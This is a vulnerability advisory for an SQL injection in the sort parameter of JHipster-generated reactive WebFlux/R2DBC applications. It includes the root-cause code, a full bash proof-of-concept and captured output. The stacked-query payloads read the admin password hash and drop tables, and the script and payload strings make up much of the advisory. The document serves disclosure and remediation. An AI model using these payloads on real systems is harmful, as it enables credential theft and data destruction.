CVE-2026-107375: JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort
# SQL Injection in the `sort` Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications - **Product**: jhipster/generator-jhipster (npm package `generator-jhipster`) - **Affected versions**: v7.0.0 through v9.2.0 - **Component**: generated reactive-application code, template `EntityManager_reactive.java.ejs` - **Report date**: 2026-08-29 --- ## 1. Summary Every reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by `generator-jhipster` contains an SQL injection in the paginated entity list endpoints (`GET /api/<entity>?sort=...`). The `sort` request parameter is taken verbatim from the user and concatenated into the SQL `ORDER BY` clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the **simple query protocol**, so `;`-separated extra statements are run against the database. A single authenticated low-privileged user (including an account obtained through the default self-registration flow) can therefore **execute arbitrary SQL**: read any table (including `jhi_user` password hashes), modify or delete data, and drop tables (full C/I/A impact). Independently reproduced end-to-end on the default dev database (H2) and the default production database (PostgreSQL 16). The JPA (non-reactive) path is **not** affected: Spring Data JPA validates sort property names against the entity metamodel. NoSQL backends are out of scope of this root cause. ## 2. Root Cause The generator template `generators/spring-boot/generators/data-relational/templates/src/main/java/_package_/repository/EntityManager_reactive.java.ejs` (lines 240–253) writes `createOrderByFields(...)`, which renders the user-supplied sort property directly as an unquoted `SqlIdentifier`: ```java private static Collection<? extends OrderByField> createOrderByFields(Table table, Sort sortToUse) { List<OrderByField> fields = new ArrayList<>(); for (Sort.Order order : sortToUse) { String propertyName = order.getProperty(); // attacker controlled (?sort=...) OrderByField orderByField = !propertyName.contains(".") ? OrderByField.from(table.column(propertyName).as(EntityManager.ALIAS_PREFIX + propertyName)) : createOrderByField(propertyName); fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc()); } return fields; } ``` The generated app configures `SqlRenderer.create(factory.createRenderContext())` with the default naming strategy, so unquoted identifiers are rendered **verbatim**. With `?sort=id;DROP TABLE product;--` the alias renders into: ```sql SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_id;DROP TABLE product;-- ASC LIMIT 20 OFFSET 0 ``` ## 3. Verification A real application was generated from this repository (`git clone` of the submitted source, v9.2.0), built with Spring Boot 4.1.1, and run against both H2 and PostgreSQL 16. | Step | H2 (dev default) | PostgreSQL 16 (prod default) | | ------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | -------------------------------------------------- | | Error probe `sort=name%27` | 500; SQL echoed with raw `'` in `ORDER BY e_name'` | 500; r2dbc-postgresql parse error echoing full SQL | | Exfiltrate admin hash via `;UPDATE product SET name=(SELECT password_hash FROM jhi_user ...);--` | HTTP 200; `name` becomes `$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC` | HTTP 200; same hash read back | | `;DROP TABLE product;--` | HTTP 200; table gone, subsequent list → 500 | HTTP 200; table gone, subsequent list → 500 | All payloads executed with a token carrying only `ROLE_USER`. **No other vulnerability or privileged account is required.** ## 4. Impact CWE-89 SQL Injection. Confidentiality (arbitrary read, incl. `jhi_user` password hashes), Integrity (arbitrary writes), Availability (table drops). The affected code is produced by default for `reactive: true` + SQL database + paginated entity (the default for monoliths and microservices). Applications must be regenerated after a fix. ## 5. Fix Recommendation In `EntityManager.createOrderByFields`, validate each sort property against the entity's persistent metamodel (allow only known column names) or render it as a quoted `SqlIdentifier`; never concatenate raw property strings into SQL. Ship the fix in the generator and advise affected applications to regenerate. --- ## Appendix ### A. Environment setup ```bash # 0. Prerequisites: JDK 21, Node >= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3 java -version # openjdk 21.x node --version # v20+ # 1. Clone the generator git clone https://github.com/jhipster/generator-jhipster.git cd generator-jhipster git checkout <affected-tag> # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster. npm install --no-audit --no-fund # ~778 packages npm link # makes `jhipster` available jhipster --version # expected: 9.2.0 # 2. Generate the target app (reactive + SQL + JWT + paginated entity) mkdir -p /tmp/pocwebflux && cd /tmp/pocwebflux cat > .yo-rc.json <<'EOF' { "generator-jhipster": { "applicationType": "monolith", "baseName": "pocwebflux", "packageName": "com.mycompany.pocwebflux", "authenticationType": "jwt", "databaseType": "sql", "devDatabaseType": "h2Memory", "prodDatabaseType": "postgresql", "reactive": true, "skipClient": true, "buildTool": "maven", "enableTranslation": false, "jhipsterVersion": "9.2.0" } } EOF cat > product.jdl <<'EOF' entity Product { name String required, price BigDecimal } paginate Product with pagination EOF export JAVA_HOME=$HOME/.sdkman/candidates/java/21.0.7-amzn jhipster --no-insight --force # -> "Spring Boot 4.1.1 application generated successfully." jhipster jdl product.jdl --no-insight --force # Sanity check that the generated app contains the vulnerable code (all should match): grep -n "OrderByField.from(table.column" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java grep -n "findAllBy(Pageable" src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java grep -n "Pageable pageable" src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java # 3a. Run on H2 (default dev database) ./mvnw -DskipTests package # -> BUILD SUCCESS setsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \ --spring.profiles.active=dev --server.port=18080 > app-dev.log 2>&1 < /dev/null & curl -s http://127.0.0.1:18080/management/health # -> {"groups":[...],"status":"UP"} BASE_URL=http://127.0.0.1:18080 bash <path-to>/poc/poc.sh # 3b. Run on PostgreSQL 16 (default production database) docker run -d --name jh-pg16 -e POSTGRES_USER=pocwebflux -e POSTGRES_PASSWORD=secret \ -e POSTGRES_DB=pocwebflux -p 15432:5432 postgres:16 ./mvnw -Pprod -DskipTests package # prod DB driver is in the Maven prod profile SECRET=$(python3 -c "import base64,os;print(base64.b64encode(os.urandom(64)).decode())") setsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \ --spring.profiles.active=prod --server.port=18081 \ --spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \ --spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \ --spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux \ --spring.liquibase.user=pocwebflux --spring.liquibase.password=secret \ --jhipster.security.authentication.jwt.base64-secret=$SECRET > app-prod.log 2>&1 < /dev/null & # seed two products via the API (prod has no sample data), then run poc.sh: BASE_URL=http://127.0.0.1:18081 bash <path-to>/poc/poc.sh docker rm -f jh-pg16 ``` ### B. PoC script ```bash #!/usr/bin/env bash # Usage: BASE_URL=http://host:port ./poc.sh (uses seeded user/user; JWT=... to reuse a token) set -euo pipefail BASE_URL="${BASE_URL:-http://127.0.0.1:18080}"; JWT="${JWT:-}"; LOGIN="${LOGIN:-user}"; PASSWORD="${PASSWORD:-user}" if [ -z "$JWT" ]; then JWT=$(curl -s -X POST "$BASE_URL/api/authenticate" -H 'Content-Type: application/json' \ -d "{\"username\":\"$LOGIN\",\"password\":\"$PASSWORD\",\"rememberMe\":false}" \ | python3 -c "import sys,json;print(json.load(sys.stdin)['id_token'])") fi AUTH="Authorization: Bearer $JWT" echo "== 2) Baseline ==" curl -s -H "$AUTH" "$BASE_URL/api/products?sort=id,asc&page=0&size=2" | head -c 300; echo echo "== 3) Error probe: sort=name' ==" curl -s -H "$AUTH" "$BASE_URL/api/products?sort=name%27" \ | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(d.get("detail"))' || true echo "== 4) Exfiltrate admin bcrypt hash ==" PAYLOAD="id%3BUPDATE%20product%20SET%20name%3D(SELECT%20password_hash%20FROM%20jhi_user%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--" curl -s -o /dev/null -w " injection HTTP %{http_code}\n" -H "$AUTH" "$BASE_URL/api/products?sort=$PAYLOAD" curl -s -H "$AUTH" "$BASE_URL/api/products?sort=id,asc&page=0&size=2" \ | python3 -c "import sys,json;[print(' id=%s name=%s'%(p['id'],p['name'])) for p in json.load(sys.stdin)]" echo "== 5) DROP TABLE product ==" PAYLOAD="id%3BDROP%20TABLE%20product%3B--" curl -s -o /dev/null -w " injection HTTP %{http_code}\n" -H "$AUTH" "$BASE_URL/api/products?sort=$PAYLOAD" curl -s -H "$AUTH" "$BASE_URL/api/products?sort=id,asc" \ | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(str(d.get("detail"))[:90])' || true ``` ### C. Real output (H2 run, 2026-08-29, full `poc.sh` execution) ``` == Target: http://127.0.0.1:18080 == == 1) Obtain a low-privileged token (user/user) == == 2) Baseline: benign paginated read (sort=id,asc) == [ { "id" : 1, "name" : "eke below forceful", "price" : 3151.02 }, { "id" : 2, ... } ] == 3) Error probe: sort=name' -> raw quote reaches ORDER BY unescaped == status: 500 detail: Syntax error in SQL statement "SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_name[*]' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY"; SQL statement: SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_name' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY [42000-240] == 4) Arbitrary SQL: exfiltrate jhi_user.password_hash (admin) into a readable field == injection request HTTP 200 Read back - first product 'name' now equals the admin bcrypt hash: id=1 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC id=2 name=notwithstanding == 5) Arbitrary SQL: DROP TABLE product (availability) == injection request HTTP 200 After injection, listing products again: status: 500 detail: Table "PRODUCT" not found; SQL statement: SELECT COUNT(*) FROM product [42102-240] == Done. The database has been modified / a table dropped by injected SQL. == ``` <img width="1280" height="1519" alt="evidence-01-h2" src="https://github.com/user-attachments/assets/daceef8d-60ae-4edc-ab3e-c1020e1b0d77" /> ### D. Real output (PostgreSQL 16 run ) ``` == 3) Error probe: sort=name' == status: 500 detail: Sql cannot be parsed: unclosed quote (quote opened at index 88) in statement: SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_name' ASC LIMIT 20 OFFSET 0 == 4) Exfiltrate jhi_user.password_hash (admin) into a readable field == injection request HTTP 200 id=1500 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC id=1501 name=beta widget == 5) DROP TABLE product == injection request HTTP 200 -> subsequent list: status 500 "Failure during data access" ``` <img width="1280" height="891" alt="evidence-02-postgresql" src="https://github.com/user-attachments/assets/61cf5bf4-d957-4969-80e3-06d9626b1142" />
Recommended action
Recommended action
Upgrade affected packages to a patched version: generator-jhipster 9.4.0.
Technical details
- Vendor
- Not specified
- Product
- generator-jhipster
- Exploitation
- none known
- Evidence
- official
Evidence and sources
This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.
Open primary source